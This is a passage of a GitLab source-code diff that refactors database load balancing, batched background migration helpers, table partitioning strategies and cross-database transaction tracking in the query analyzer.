- retried_before?(worker_class, job) ? :replica_retried : :replica
+ replica_strategy(worker_class, job)
elsif can_retry?(worker_class, job)
# Optimistic case: The worker allows retries and we have retries left.
:retry
@@ -56,17 +62,14 @@ module Gitlab
end
end
- def get_wal_locations(job)
- job['dedup_wal_locations'] || job['wal_locations'] || legacy_wal_location(job)
- end
+ def sleep_if_needed(job)
+ remaining_delay = MINIMUM_DELAY_INTERVAL_SECONDS - (Time.current.to_f - job['created_at'].to_f)
- # Already scheduled jobs could still contain legacy database write location.
- # TODO: remove this in the next iteration
- # https://gitlab.com/gitlab-org/gitlab/-/issues/338213
- def legacy_wal_location(job)
- wal_location = job['database_write_location'] || job['database_replica_location']
+ sleep remaining_delay if remaining_delay > 0 && remaining_delay < MINIMUM_DELAY_INTERVAL_SECONDS
+ end
- { ::Gitlab::Database::MAIN_DATABASE_NAME.to_sym => wal_location } if wal_location
+ def get_wal_locations(job)
+ job['dedup_wal_locations'] || job['wal_locations']
end
def load_balancing_available?(worker_class)
@@ -79,6 +82,10 @@ module Gitlab
worker_class.get_data_consistency == :delayed && not_yet_retried?(job)
end
+ def replica_strategy(worker_class, job)
+ retried_before?(worker_class, job) ? :replica_retried : :replica
+ end
+
def retried_before?(worker_class, job)
worker_class.get_data_consistency == :delayed && !not_yet_retried?(job)
end
diff --git a/lib/gitlab/database/load_balancing/sticking.rb b/lib/gitlab/database/load_balancing/sticking.rb
index 834e9c6d3c6..8e5dc98e96e 100644
--- a/lib/gitlab/database/load_balancing/sticking.rb
+++ b/lib/gitlab/database/load_balancing/sticking.rb
@@ -123,21 +123,18 @@ module Gitlab
def unstick(namespace, id)
Gitlab::Redis::SharedState.with do |redis|
redis.del(redis_key_for(namespace, id))
- redis.del(old_redis_key_for(namespace, id))
end
end
def set_write_location_for(namespace, id, location)
Gitlab::Redis::SharedState.with do |redis|
redis.set(redis_key_for(namespace, id), location, ex: EXPIRATION)
- redis.set(old_redis_key_for(namespace, id), location, ex: EXPIRATION)
end
end
def last_write_location_for(namespace, id)
Gitlab::Redis::SharedState.with do |redis|
- redis.get(redis_key_for(namespace, id)) ||
- redis.get(old_redis_key_for(namespace, id))
+ redis.get(redis_key_for(namespace, id))
end
end
@@ -146,10 +143,6 @@ module Gitlab
"database-load-balancing/write-location/#{name}/#{namespace}/#{id}"
end
-
- def old_redis_key_for(namespace, id)
- "database-load-balancing/write-location/#{namespace}/#{id}"
- end
end
end
end
diff --git a/lib/gitlab/database/loose_foreign_keys.rb b/lib/gitlab/database/loose_foreign_keys.rb
new file mode 100644
index 00000000000..1ecfb5ce47f
--- /dev/null
+++ b/lib/gitlab/database/loose_foreign_keys.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module LooseForeignKeys
+ def self.definitions_by_table
+ @definitions_by_table ||= definitions.group_by(&:to_table).with_indifferent_access.freeze
+ end
+
+ def self.definitions
+ @definitions ||= loose_foreign_keys_yaml.flat_map do |child_table_name, configs|
+ configs.map { |config| build_definition(child_table_name, config) }
+ end.freeze
+ end
+
+ def self.build_definition(child_table_name, config)
+ parent_table_name = config.fetch('table')
+
+ ActiveRecord::ConnectionAdapters::ForeignKeyDefinition.new(
+ child_table_name,
+ parent_table_name,
+ {
+ column: config.fetch('column'),
+ on_delete: config.fetch('on_delete').to_sym,
+ gitlab_schema: GitlabSchema.table_schema(child_table_name)
+ }
+ )
+ end
+
+ def self.loose_foreign_keys_yaml
+ @loose_foreign_keys_yaml ||= YAML.load_file(Rails.root.join('lib/gitlab/database/gitlab_loose_foreign_keys.yml'))
+ end
+
+ private_class_method :build_definition
+ private_class_method :loose_foreign_keys_yaml
+ end
+ end
+end
diff --git a/lib/gitlab/database/migration_helpers.rb b/lib/gitlab/database/migration_helpers.rb
index 7dce4fa0ce2..4245dd80714 100644
--- a/lib/gitlab/database/migration_helpers.rb
+++ b/lib/gitlab/database/migration_helpers.rb
@@ -4,6 +4,7 @@ module Gitlab
module Database
module MigrationHelpers
include Migrations::BackgroundMigrationHelpers
+ include Migrations::BatchedBackgroundMigrationHelpers
include DynamicModelHelpers
include RenameTableHelpers
include AsyncIndexes::MigrationHelpers
diff --git a/lib/gitlab/database/migrations/background_migration_helpers.rb b/lib/gitlab/database/migrations/background_migration_helpers.rb
index bdaf0d35a83..8c33c41ce77 100644
--- a/lib/gitlab/database/migrations/background_migration_helpers.rb
+++ b/lib/gitlab/database/migrations/background_migration_helpers.rb
@@ -5,59 +5,7 @@ module Gitlab
module Migrations
module BackgroundMigrationHelpers
BATCH_SIZE = 1_000 # Number of rows to process per job
- SUB_BATCH_SIZE = 100 # Number of rows to process per sub-batch
JOB_BUFFER_SIZE = 1_000 # Number of jobs to bulk queue at a time
- BATCH_CLASS_NAME = 'PrimaryKeyBatchingStrategy' # Default batch class for batched migrations
- BATCH_MIN_VALUE = 1 # Default minimum value for batched migrations
- BATCH_MIN_DELAY = 2.minutes.freeze # Minimum delay between batched migrations
-
- # Bulk queues background migration jobs for an entire table, batched by ID range.
- # "Bulk" meaning many jobs will be pushed at a time for efficiency.
- # If you need a delay interval per job, then use `queue_background_migration_jobs_by_range_at_intervals`.
- #
- # model_class - The table being iterated over
- # job_class_name - The background migration job class as a string
- # batch_size - The maximum number of rows per job
- #
- # Example:
- #
- # class Route < ActiveRecord::Base
- # include EachBatch
- # self.table_name = 'routes'
- # end
- #
- # bulk_queue_background_migration_jobs_by_range(Route, 'ProcessRoutes')
- #
- # Where the model_class includes EachBatch, and the background migration exists:
- #
- # class Gitlab::BackgroundMigration::ProcessRoutes
- # def perform(start_id, end_id)
- # # do something
- # end
- # end
- def bulk_queue_background_migration_jobs_by_range(model_class, job_class_name, batch_size: BATCH_SIZE)
- raise "#{model_class} does not have an ID to use for batch ranges" unless model_class.column_names.include?('id')
-
- jobs = []
- table_name = model_class.quoted_table_name
-
- model_class.each_batch(of: batch_size) do |relation|
- start_id, end_id = relation.pluck("MIN(#{table_name}.id)", "MAX(#{table_name}.id)").first
-
- if jobs.length >= JOB_BUFFER_SIZE
- # Note: This code path generally only helps with many millions of rows
- # We push multiple jobs at a time to reduce the time spent in
- # Sidekiq/Redis operations. We're using this buffer based approach so we
- # don't need to run additional queries for every range.
- bulk_migrate_async(jobs)
- jobs.clear
- end
-
- jobs << [job_class_name, [start_id, end_id]]
- end
-
- bulk_migrate_async(jobs) unless jobs.empty?
- end
# Queues background migration jobs for an entire table in batches.
# The default batching column used is the standard primary key `id`.
@@ -137,6 +85,7 @@ module Gitlab
# Requeue pending jobs previously queued with #queue_background_migration_jobs_by_range_at_intervals
#
# This method is useful to schedule jobs that had previously failed.
+ # It can only be used if the previous background migration used job tracking like the queue_background_migration_jobs_by_range_at_intervals helper.
#
# job_class_name - The background migration job class as a string
# delay_interval - The duration between each job's scheduled time
@@ -170,100 +119,6 @@ module Gitlab
duration
end
- # Creates a batched background migration for the given table. A batched migration runs one job
- # at a time, computing the bounds of the next batch based on the current migration settings and the previous
- # batch bounds. Each job's execution status is tracked in the database as the migration runs. The given job
- # class must be present in the Gitlab::BackgroundMigration module, and the batch class (if specified) must be
- # present in the Gitlab::BackgroundMigration::BatchingStrategies module.
- #
- # If migration with same job_class_name, table_name, column_name, and job_aruments already exists, this helper
- # will log an warning and not create a new one.
- #
- # job_class_name - The background migration job class as a string
- # batch_table_name - The name of the table the migration will batch over
- # batch_column_name - The name of the column the migration will batch over
- # job_arguments - Extra arguments to pass to the job instance when the migration runs
- # job_interval - The pause interval between each job's execution, minimum of 2 minutes
- # batch_min_value - The value in the column the batching will begin at
- # batch_max_value - The value in the column the batching will end at, defaults to `SELECT MAX(batch_column)`
- # batch_class_name - The name of the class that will be called to find the range of each next batch
- # batch_size - The maximum number of rows per job
- # sub_batch_size - The maximum number of rows processed per "iteration" within the job
- #
- #
- # *Returns the created BatchedMigration record*
- #
- # Example:
- #
- # queue_batched_background_migration(
- # 'CopyColumnUsingBackgroundMigrationJob',
- # :events,
- # :id,
- # job_interval: 2.minutes,
- # other_job_arguments: ['column1', 'column2'])
- #
- # Where the the background migration exists:
- #
- # class Gitlab::BackgroundMigration::CopyColumnUsingBackgroundMigrationJob
- # def perform(start_id, end_id, batch_table, batch_column, sub_batch_size, *other_args)
- # # do something
- # end
- # end
- def queue_batched_background_migration( # rubocop:disable Metrics/ParameterLists
- job_class_name,
- batch_table_name,
- batch_column_name,
- *job_arguments,
- job_interval:,
- batch_min_value: BATCH_MIN_VALUE,
- batch_max_value: nil,
- batch_class_name: BATCH_CLASS_NAME,
- batch_size: BATCH_SIZE,
- sub_batch_size: SUB_BATCH_SIZE
- )
-
- if Gitlab::Database::BackgroundMigration::BatchedMigration.for_configuration(job_class_name, batch_table_name, batch_column_name, job_arguments).exists?
- Gitlab::AppLogger.warn "Batched background migration not enqueued because it already exists: " \
- "job_class_name: #{job_class_name}, table_name: #{batch_table_name}, column_name: #{batch_column_name}, " \
- "job_arguments: #{job_arguments.inspect}"
- return
- end
-
- job_interval = BATCH_MIN_DELAY if job_interval < BATCH_MIN_DELAY
-
- batch_max_value ||= connection.select_value(<<~SQL)
- SELECT MAX(#{connection.quote_column_name(batch_column_name)})
- FROM #{connection.quote_table_name(batch_table_name)}
- SQL
-
- migration_status = batch_max_value.nil? ? :finished : :active
- batch_max_value ||= batch_min_value
-
- migration = Gitlab::Database::BackgroundMigration::BatchedMigration.create!(
- job_class_name: job_class_name,
- table_name: batch_table_name,
- column_name: batch_column_name,
- job_arguments: job_arguments,
- interval: job_interval,
- min_value: batch_min_value,
- max_value: batch_max_value,
- batch_class_name: batch_class_name,
- batch_size: batch_size,
- sub_batch_size: sub_batch_size,
- status: migration_status)
-
- # This guard is necessary since #total_tuple_count was only introduced schema-wise,
- # after this migration helper had been used for the first time.
- return migration unless migration.respond_to?(:total_tuple_count)
-
- # We keep track of the estimated number of tuples to reason later
- # about the overall progress of a migration.
- migration.total_tuple_count = Gitlab::Database::PgClass.for_table(batch_table_name)&.cardinality_estimate
- migration.save!
-
- migration
- end
-
# Force a background migration to complete.
#
# WARNING: This method will block the caller and move the background migration from an
@@ -275,6 +130,7 @@ module Gitlab
# 4. Optionally remove job tracking information.
#
# This method does not garauntee that all jobs completed successfully.
+ # It can only be used if the previous background migration used the queue_background_migration_jobs_by_range_at_intervals helper.
def finalize_background_migration(class_name, delete_tracking_jobs: ['succeeded'])
# Empty the sidekiq queue.
Gitlab::BackgroundMigration.steal(class_name)
diff --git a/lib/gitlab/database/migrations/batched_background_migration_helpers.rb b/lib/gitlab/database/migrations/batched_background_migration_helpers.rb
new file mode 100644
index 00000000000..dcaf7fad05f
--- /dev/null
+++ b/lib/gitlab/database/migrations/batched_background_migration_helpers.rb
@@ -0,0 +1,118 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module Migrations
+ # BatchedBackgroundMigrations are a new approach to scheduling and executing background migrations, which uses
+ # persistent state in the database to track each migration. This avoids having to batch over an entire table and
+ # schedule a large number of sidekiq jobs upfront. It also provides for more flexibility as the migration runs,
+ # as it can be paused and restarted, and have configuration values like the batch size updated dynamically as the
+ # migration runs.
+ #
+ # For now, these migrations are not considered ready for general use, for more information see the tracking epic:
+ # https://gitlab.com/groups/gitlab-org/-/epics/6751
+ module BatchedBackgroundMigrationHelpers
+ BATCH_SIZE = 1_000 # Number of rows to process per job
+ SUB_BATCH_SIZE = 100 # Number of rows to process per sub-batch
+ BATCH_CLASS_NAME = 'PrimaryKeyBatchingStrategy' # Default batch class for batched migrations
+ BATCH_MIN_VALUE = 1 # Default minimum value for batched migrations
+ BATCH_MIN_DELAY = 2.minutes.freeze # Minimum delay between batched migrations
+
+ # Creates a batched background migration for the given table. A batched migration runs one job
+ # at a time, computing the bounds of the next batch based on the current migration settings and the previous
+ # batch bounds. Each job's execution status is tracked in the database as the migration runs. The given job
+ # class must be present in the Gitlab::BackgroundMigration module, and the batch class (if specified) must be
+ # present in the Gitlab::BackgroundMigration::BatchingStrategies module.
+ #
+ # If migration with same job_class_name, table_name, column_name, and job_aruments already exists, this helper
+ # will log an warning and not create a new one.
+ #
+ # job_class_name - The background migration job class as a string
+ # batch_table_name - The name of the table the migration will batch over
+ # batch_column_name - The name of the column the migration will batch over
+ # job_arguments - Extra arguments to pass to the job instance when the migration runs
+ # job_interval - The pause interval between each job's execution, minimum of 2 minutes
+ # batch_min_value - The value in the column the batching will begin at
+ # batch_max_value - The value in the column the batching will end at, defaults to `SELECT MAX(batch_column)`
+ # batch_class_name - The name of the class that will be called to find the range of each next batch
+ # batch_size - The maximum number of rows per job
+ # sub_batch_size - The maximum number of rows processed per "iteration" within the job
+ #
+ # *Returns the created BatchedMigration record*
+ #
+ # Example:
+ #
+ # queue_batched_background_migration(
+ # 'CopyColumnUsingBackgroundMigrationJob',
+ # :events,
+ # :id,
+ # job_interval: 2.minutes,
+ # other_job_arguments: ['column1', 'column2'])
+ #
+ # Where the the background migration exists:
+ #
+ # class Gitlab::BackgroundMigration::CopyColumnUsingBackgroundMigrationJob
+ # def perform(start_id, end_id, batch_table, batch_column, sub_batch_size, *other_args)
+ # # do something
+ # end
+ # end
+ def queue_batched_background_migration( # rubocop:disable Metrics/ParameterLists
+ job_class_name,
+ batch_table_name,
+ batch_column_name,
+ *job_arguments,
+ job_interval:,
+ batch_min_value: BATCH_MIN_VALUE,
+ batch_max_value: nil,
+ batch_class_name: BATCH_CLASS_NAME,
+ batch_size: BATCH_SIZE,
+ sub_batch_size: SUB_BATCH_SIZE
+ )
+
+ if Gitlab::Database::BackgroundMigration::BatchedMigration.for_configuration(job_class_name, batch_table_name, batch_column_name, job_arguments).exists?
+ Gitlab::AppLogger.warn "Batched background migration not enqueued because it already exists: " \
+ "job_class_name: #{job_class_name}, table_name: #{batch_table_name}, column_name: #{batch_column_name}, " \
+ "job_arguments: #{job_arguments.inspect}"
+ return
+ end
+
+ job_interval = BATCH_MIN_DELAY if job_interval < BATCH_MIN_DELAY
+
+ batch_max_value ||= connection.select_value(<<~SQL)
+ SELECT MAX(#{connection.quote_column_name(batch_column_name)})
+ FROM #{connection.quote_table_name(batch_table_name)}
+ SQL
+
+ migration_status = batch_max_value.nil? ? :finished : :active
+ batch_max_value ||= batch_min_value
+
+ migration = Gitlab::Database::BackgroundMigration::BatchedMigration.create!(
+ job_class_name: job_class_name,
+ table_name: batch_table_name,
+ column_name: batch_column_name,
+ job_arguments: job_arguments,
+ interval: job_interval,
+ min_value: batch_min_value,
+ max_value: batch_max_value,
+ batch_class_name: batch_class_name,
+ batch_size: batch_size,
+ sub_batch_size: sub_batch_size,
+ status: migration_status)
+
+ # This guard is necessary since #total_tuple_count was only introduced schema-wise,
+ # after this migration helper had been used for the first time.
+ return migration unless migration.respond_to?(:total_tuple_count)
+
+ # We keep track of the estimated number of tuples to reason later
+ # about the overall progress of a migration.
+ migration.total_tuple_count = Gitlab::Database::SharedModel.using_connection(connection) do
+ Gitlab::Database::PgClass.for_table(batch_table_name)&.cardinality_estimate
+ end
+ migration.save!
+
+ migration
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/migrations/instrumentation.rb b/lib/gitlab/database/migrations/instrumentation.rb
index 6e5ffb74411..1f7e81cae84 100644
--- a/lib/gitlab/database/migrations/instrumentation.rb
+++ b/lib/gitlab/database/migrations/instrumentation.rb
@@ -14,11 +14,11 @@ module Gitlab
@result_dir = result_dir
end
- def observe(version:, name:, &block)
+ def observe(version:, name:, connection:, &block)
observation = Observation.new(version, name)
observation.success = true
- observers = observer_classes.map { |c| c.new(observation, @result_dir) }
+ observers = observer_classes.map { |c| c.new(observation, @result_dir, connection) }
exception = nil
diff --git a/lib/gitlab/database/migrations/observers/migration_observer.rb b/lib/gitlab/database/migrations/observers/migration_observer.rb
index 106f8f1f829..0006af73f6c 100644
--- a/lib/gitlab/database/migrations/observers/migration_observer.rb
+++ b/lib/gitlab/database/migrations/observers/migration_observer.rb
@@ -7,8 +7,8 @@ module Gitlab
class MigrationObserver
attr_reader :connection, :observation, :output_dir
- def initialize(observation, output_dir)
- @connection = ActiveRecord::Base.connection
+ def initialize(observation, output_dir, connection)
+ @connection = connection
@observation = observation
@output_dir = output_dir
end
diff --git a/lib/gitlab/database/migrations/runner.rb b/lib/gitlab/database/migrations/runner.rb
index b267a64256b..f0bac594119 100644
--- a/lib/gitlab/database/migrations/runner.rb
+++ b/lib/gitlab/database/migrations/runner.rb
@@ -69,7 +69,7 @@ module Gitlab
instrumentation = Instrumentation.new(result_dir: result_dir)
sorted_migrations.each do |migration|
- instrumentation.observe(version: migration.version, name: migration.name) do
+ instrumentation.observe(version: migration.version, name: migration.name, connection: ActiveRecord::Migration.connection) do
ActiveRecord::Migrator.new(direction, migration_context.migrations, migration_context.schema_migration, migration.version).run
end
end
diff --git a/lib/gitlab/database/partitioning/detached_partition_dropper.rb b/lib/gitlab/database/partitioning/detached_partition_dropper.rb
index 593824384b5..5e32ecad4ca 100644
--- a/lib/gitlab/database/partitioning/detached_partition_dropper.rb
+++ b/lib/gitlab/database/partitioning/detached_partition_dropper.rb
@@ -4,8 +4,6 @@ module Gitlab
module Partitioning
class DetachedPartitionDropper
def perform
- return unless Feature.enabled?(:drop_detached_partitions, default_enabled: :yaml)
-
Gitlab::AppLogger.info(message: "Checking for previously detached partitions to drop")
Postgresql::DetachedPartition.ready_to_drop.find_each do |detached_partition|
diff --git a/lib/gitlab/database/partitioning/monthly_strategy.rb b/lib/gitlab/database/partitioning/monthly_strategy.rb
index c93e775d7ed..9c8cccb3dc6 100644
--- a/lib/gitlab/database/partitioning/monthly_strategy.rb
+++ b/lib/gitlab/database/partitioning/monthly_strategy.rb
@@ -36,6 +36,10 @@ module Gitlab
partitions
end
+ def after_adding_partitions
+ # No-op, required by the partition manager
+ end
+
private
def desired_partitions
diff --git a/lib/gitlab/database/partitioning/partition_manager.rb b/lib/gitlab/database/partitioning/partition_manager.rb
index 8742c0ff166..aa824dfbd2f 100644
--- a/lib/gitlab/database/partitioning/partition_manager.rb
+++ b/lib/gitlab/database/partitioning/partition_manager.rb
@@ -25,10 +25,8 @@ module Gitlab
partitions_to_create = missing_partitions
create(partitions_to_create) unless partitions_to_create.empty?
- if Feature.enabled?(:partition_pruning, default_enabled: :yaml)
- partitions_to_detach = extra_partitions
- detach(partitions_to_detach) unless partitions_to_detach.empty?
- end
+ partitions_to_detach = extra_partitions
+ detach(partitions_to_detach) unless partitions_to_detach.empty?
end
rescue StandardError => e
Gitlab::AppLogger.error(message: "Failed to create / detach partition(s)",
@@ -73,6 +71,8 @@ module Gitlab
partition_name: partition.partition_name,
table_name: partition.table)
end
+
+ model.partitioning_strategy.after_adding_partitions
end
end
end
diff --git a/lib/gitlab/database/partitioning/single_numeric_list_partition.rb b/lib/gitlab/database/partitioning/single_numeric_list_partition.rb
new file mode 100644
index 00000000000..23ac73a0e53
--- /dev/null
+++ b/lib/gitlab/database/partitioning/single_numeric_list_partition.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module Partitioning
+ class SingleNumericListPartition
+ include Comparable
+
+ def self.from_sql(table, partition_name, definition)
+ # A list partition can support multiple values, but we only support a single number
+ matches = definition.match(/FOR VALUES IN \('(?<value>\d+)'\)/)
+
+ raise ArgumentError, 'Unknown partition definition' unless matches
+
+ value = Integer(matches[:value])
+
+ new(table, value, partition_name: partition_name)
+ end
+
+ attr_reader :table, :value
+
+ def initialize(table, value, partition_name: nil )
+ @table = table
+ @value = value
+ @partition_name = partition_name
+ end
+
+ def partition_name
+ @partition_name || "#{table}_#{value}"
+ end
+
+ def to_sql
+ <<~SQL
+ CREATE TABLE IF NOT EXISTS #{fully_qualified_partition}
+ PARTITION OF #{conn.quote_table_name(table)}
+ FOR VALUES IN (#{conn.quote(value)})
+ SQL
+ end
+
+ def to_detach_sql
+ <<~SQL
+ ALTER TABLE #{conn.quote_table_name(table)}
+ DETACH PARTITION #{fully_qualified_partition}
+ SQL
+ end
+
+ def ==(other)
+ table == other.table &&
+ partition_name == other.partition_name &&
+ value == other.value
+ end
+ alias_method :eql?, :==
+
+ def hash
+ [table, partition_name, value].hash
+ end
+
+ def <=>(other)
+ return if table != other.table
+
+ value <=> other.value
+ end
+
+ private
+
+ def fully_qualified_partition
+ "%s.%s" % [conn.quote_table_name(Gitlab::Database::DYNAMIC_PARTITIONS_SCHEMA), conn.quote_table_name(partition_name)]
+ end
+
+ def conn
+ @conn ||= Gitlab::Database::SharedModel.connection
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/partitioning/sliding_list_strategy.rb b/lib/gitlab/database/partitioning/sliding_list_strategy.rb
new file mode 100644
index 00000000000..21b86b43ae7
--- /dev/null
+++ b/lib/gitlab/database/partitioning/sliding_list_strategy.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module Partitioning
+ class SlidingListStrategy
+ attr_reader :model, :partitioning_key, :next_partition_if, :detach_partition_if
+
+ delegate :table_name, to: :model
+
+ def initialize(model, partitioning_key, next_partition_if:, detach_partition_if:)
+ @model = model
+ @partitioning_key = partitioning_key
+ @next_partition_if = next_partition_if
+ @detach_partition_if = detach_partition_if
+
+ ensure_partitioning_column_ignored!
+ end
+
+ def current_partitions
+ Gitlab::Database::PostgresPartition.for_parent_table(table_name).map do |partition|
+ SingleNumericListPartition.from_sql(table_name, partition.name, partition.condition)
+ end.sort
+ end
+
+ def missing_partitions
+ if no_partitions_exist?
+ [initial_partition]
+ elsif next_partition_if.call(active_partition.value)
+ [next_partition]
+ else
+ []
+ end
+ end
+
+ def initial_partition
+ SingleNumericListPartition.new(table_name, 1)
+ end
+
+ def next_partition
+ SingleNumericListPartition.new(table_name, active_partition.value + 1)
+ end
+
+ def extra_partitions
+ possibly_extra = current_partitions[0...-1] # Never consider the most recent partition
+
+ possibly_extra.take_while { |p| detach_partition_if.call(p.value) }
+ end
+
+ def after_adding_partitions
+ active_value = active_partition.value
+ model.connection.change_column_default(model.table_name, partitioning_key, active_value)
+ end
+
+ def active_partition
+ # The current partitions list is sorted, so the last partition has the highest value
+ # This is the only partition that receives inserts.
+ current_partitions.last
+ end
+
+ def no_partitions_exist?
+ current_partitions.empty?
+ end
+
+ private
+
+ def ensure_partitioning_column_ignored!
+ unless model.ignored_columns.include?(partitioning_key.to_s)
+ raise "Add #{partitioning_key} to #{model.name}.ignored_columns to use it with SlidingListStrategy"
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/pg_class.rb b/lib/gitlab/database/pg_class.rb
index 0ce9eebc14c..bd582d903c6 100644
--- a/lib/gitlab/database/pg_class.rb
+++ b/lib/gitlab/database/pg_class.rb
@@ -2,7 +2,7 @@
module Gitlab
module Database
- class PgClass < ActiveRecord::Base
+ class PgClass < SharedModel
self.table_name = 'pg_class'
def self.for_table(relname)
diff --git a/lib/gitlab/database/postgres_hll/buckets.rb b/lib/gitlab/database/postgres_hll/buckets.rb
index 429e823379f..76818bbf340 100644
--- a/lib/gitlab/database/postgres_hll/buckets.rb
+++ b/lib/gitlab/database/postgres_hll/buckets.rb
@@ -65,8 +65,7 @@ module Gitlab
).to_i
if num_zero_buckets > 0 && num_uniques < 2.5 * TOTAL_BUCKETS
- ((0.7213 / (1 + 1.079 / TOTAL_BUCKETS)) * (TOTAL_BUCKETS *
- Math.log2(TOTAL_BUCKETS.to_f / num_zero_buckets)))
+ TOTAL_BUCKETS * Math.log(TOTAL_BUCKETS.to_f / num_zero_buckets)
else
num_uniques
end
diff --git a/lib/gitlab/database/query_analyzer.rb b/lib/gitlab/database/query_analyzer.rb
index 0f285688876..2736f9d18dc 100644
--- a/lib/gitlab/database/query_analyzer.rb
+++ b/lib/gitlab/database/query_analyzer.rb
@@ -58,17 +58,15 @@ module Gitlab
return unless parsed
analyzers.each do |analyzer|
- next if analyzer.suppressed?
+ next if analyzer.suppressed? && !analyzer.requires_tracking?(parsed)
analyzer.analyze(parsed)
- rescue StandardError => e
+ rescue StandardError, QueryAnalyzers::Base::QueryAnalyzerError => e
# We catch all standard errors to prevent validation errors to introduce fatal errors in production
Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)
end
end
- private
-
# Enable query analyzers
def begin!
analyzers = all_analyzers.select do |analyzer|
@@ -77,7 +75,7 @@ module Gitlab
true
end
- rescue StandardError => e
+ rescue StandardError, QueryAnalyzers::Base::QueryAnalyzerError => e
Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)
false
@@ -90,13 +88,15 @@ module Gitlab
def end!
enabled_analyzers.select do |analyzer|
analyzer.end!
- rescue StandardError => e
+ rescue StandardError, QueryAnalyzers::Base::QueryAnalyzerError => e
Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)
end
Thread.current[:query_analyzer_enabled_analyzers] = nil
end
+ private
+
def enabled_analyzers
Thread.current[:query_analyzer_enabled_analyzers]
end
diff --git a/lib/gitlab/database/query_analyzers/base.rb b/lib/gitlab/database/query_analyzers/base.rb
index e8066f7a706..0802d3c8013 100644
--- a/lib/gitlab/database/query_analyzers/base.rb
+++ b/lib/gitlab/database/query_analyzers/base.rb
@@ -4,10 +4,17 @@ module Gitlab
module Database
module QueryAnalyzers
class Base
+ # `Exception` to ensure that is not easily rescued when running in test env
+ QueryAnalyzerError = Class.new(Exception) # rubocop:disable Lint/InheritException
+
def self.suppressed?
Thread.current[self.suppress_key]
end
+ def self.requires_tracking?(parsed)
+ false
+ end
+
def self.suppress=(value)
Thread.current[self.suppress_key] = value
end
diff --git a/lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb b/lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb
index 2233f3c4646..2e3db2a5c6e 100644
--- a/lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb
+++ b/lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb
@@ -4,7 +4,7 @@ module Gitlab
module Database
module QueryAnalyzers
class PreventCrossDatabaseModification < Database::QueryAnalyzers::Base
- CrossDatabaseModificationAcrossUnsupportedTablesError = Class.new(StandardError)
+ CrossDatabaseModificationAcrossUnsupportedTablesError = Class.new(QueryAnalyzerError)
# This method will allow cross database modifications within the block
# Example:
@@ -36,29 +36,36 @@ module Gitlab
Feature.enabled?(:detect_cross_database_modification, default_enabled: :yaml)
end
+ def self.requires_tracking?(parsed)
+ # The transaction boundaries always needs to be tracked regardless of suppress behavior
+ self.transaction_begin?(parsed) || self.transaction_end?(parsed)
+ end
+
# rubocop:disable Metrics/AbcSize
def self.analyze(parsed)
- return if in_factory_bot_create?
-
database = ::Gitlab::Database.db_config_name(parsed.connection)
sql = parsed.sql
# We ignore BEGIN in tests as this is the outer transaction for
# DatabaseCleaner
- if sql.start_with?('SAVEPOINT') || (!Rails.env.test? && sql.start_with?('BEGIN'))
+ if self.transaction_begin?(parsed)
context[:transaction_depth_by_db][database] += 1
return
- elsif sql.start_with?('RELEASE SAVEPOINT', 'ROLLBACK TO SAVEPOINT') || (!Rails.env.test? && sql.start_with?('ROLLBACK', 'COMMIT'))
+ elsif self.transaction_end?(parsed)
context[:transaction_depth_by_db][database] -= 1
- if context[:transaction_depth_by_db][database] <= 0
+ if context[:transaction_depth_by_db][database] == 0
context[:modified_tables_by_db][database].clear
+ elsif context[:transaction_depth_by_db][database] < 0
+ context[:transaction_depth_by_db][database] = 0
+ raise CrossDatabaseModificationAcrossUnsupportedTablesError, "Misaligned cross-DB transactions discovered at query #{sql}. This could be a bug in #{self.class} or a valid issue to investigate. Read more at https://docs.gitlab.com/ee/development/database/multiple_databases.html#removing-cross-database-transactions ."
end
return
end
- return if context[:transaction_depth_by_db].values.all?(&:zero?)
+ return unless self.in_transaction?
+ return if in_factory_bot_create?
# PgQuery might fail in some cases due to limited nesting:
# https://github.com/pganalyze/pg_query/issues/209
@@ -97,6 +104,42 @@ module Gitlab
end
# rubocop:enable Metrics/AbcSize
+ def self.transaction_begin?(parsed)
+ # We ignore BEGIN or START in tests
+ unless Rails.env.test?
+ return true if transaction_stmt?(parsed, :TRANS_STMT_BEGIN)
+ return true if transaction_stmt?(parsed, :TRANS_STMT_START)
+ end
+
+ # SAVEPOINT
+ return true if transaction_stmt?(parsed, :TRANS_STMT_SAVEPOINT)
+
+ false
+ end
+
+ def self.transaction_end?(parsed)
+ # We ignore ROLLBACK or COMMIT in tests
+ unless Rails.env.test?
+ return true if transaction_stmt?(parsed, :TRANS_STMT_COMMIT)
+ return true if transaction_stmt?(parsed, :TRANS_STMT_COMMIT_PREPARED)
+ return true if transaction_stmt?(parsed, :TRANS_STMT_ROLLBACK)
+ return true if transaction_stmt?(parsed, :TRANS_STMT_ROLLBACK_PREPARED)
+ end
+
+ # RELEASE (SAVEPOINT) or ROLLBACK TO (SAVEPOINT)
+ return true if transaction_stmt?(parsed, :TRANS_STMT_RELEASE)
+ return true if transaction_stmt?(parsed, :TRANS_STMT_ROLLBACK_TO)
+
+ false
+ end
+
+ # Known kinds: https://github.com/pganalyze/pg_query/blob/f6588703deb9d7a94b87b34b7c3bab240087fbc4/ext/pg_query/include/nodes/parsenodes.h#L3050
+ def self.transaction_stmt?(parsed, kind)
+ parsed.pg.tree.stmts.map(&:stmt).any? do |stmt|
+ stmt.node == :transaction_stmt && stmt.transaction_stmt.kind == kind
+ end
+ end
+
# We only raise in tests for now otherwise some features will be broken
# in development. For now we've mostly only added allowlist based on
# spec names. Until we have allowed all the violations inline we don't
@@ -105,13 +148,21 @@ module Gitlab
Rails.env.test?
end
+ def self.in_transaction?
+ context[:transaction_depth_by_db].values.any?(&:positive?)
+ end
+
# We ignore execution in the #create method from FactoryBot
# because it is not representative of real code we run in
# production. There are far too many false positives caused
